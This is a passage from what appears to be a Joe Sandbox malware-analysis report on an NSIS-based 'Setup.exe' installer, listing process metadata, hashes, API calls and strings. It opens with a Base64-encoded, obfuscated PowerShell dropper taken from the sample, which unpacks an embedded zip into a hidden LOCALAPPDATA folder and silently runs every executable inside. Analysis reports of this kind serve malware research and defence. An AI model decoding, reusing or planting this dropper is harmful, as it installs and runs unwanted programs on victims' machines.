bABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBMAGUAbgBnAHQAaAApAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAC4AUwBlAGUAawAoADAALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBTAGUAZQBrAE8AcgBpAGcAaQBuAF0AOgA6AEIAZQBnAGkAbgApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkACgAgACAAIAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEALAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACAAIAAgACAAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBDAG8AbQBiAGkAbgBlACgAJABlAG4AdgA6AFQARQBNAFAALAAgACIAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAC4AegBpAHAAIgApAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAFQAbwBBAHIAcgBhAHkAKAApACkACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAApAAoAIAAgACAAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAKQAKAAoAIAAgACAAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAuAEMAbwBwAHkASABlAHIAZQAoACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAuAEkAdABlAG0AcwAoACkALAAgADIAMAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAIAAtAEYAaQBsAHQAZQByACAAKgAuAGUAeABlACAALQBSAGUAYwB1AHIAcwBlAAoAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAaQBuACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAAKACAAIAAgACAAfQAKAAoAfQAKAAoAJgAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD4AIAAkAG4AdQBsAGwAIAAyAD4AJgAxAA==
Imagebase:	0xfd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	19:46:25
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	25

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

Error launching installer, xrefs: 00403AA9
~nsu.tmp, xrefs: 00403B23
NCRC, xrefs: 004039A8
SeShutdownPrivilege, xrefs: 00403C42
_?=, xrefs: 00403A90
NSIS Error, xrefs: 0040390E
\Temp, xrefs: 00403A47
/D=, xrefs: 004039D2

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Aborting: "%s", xrefs: 0040161D
Rename on reboot: %s, xrefs: 00401943
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602
SetFileAttributes: "%s":%08X, xrefs: 0040177B
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: "%s" (%d), xrefs: 004017BF
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
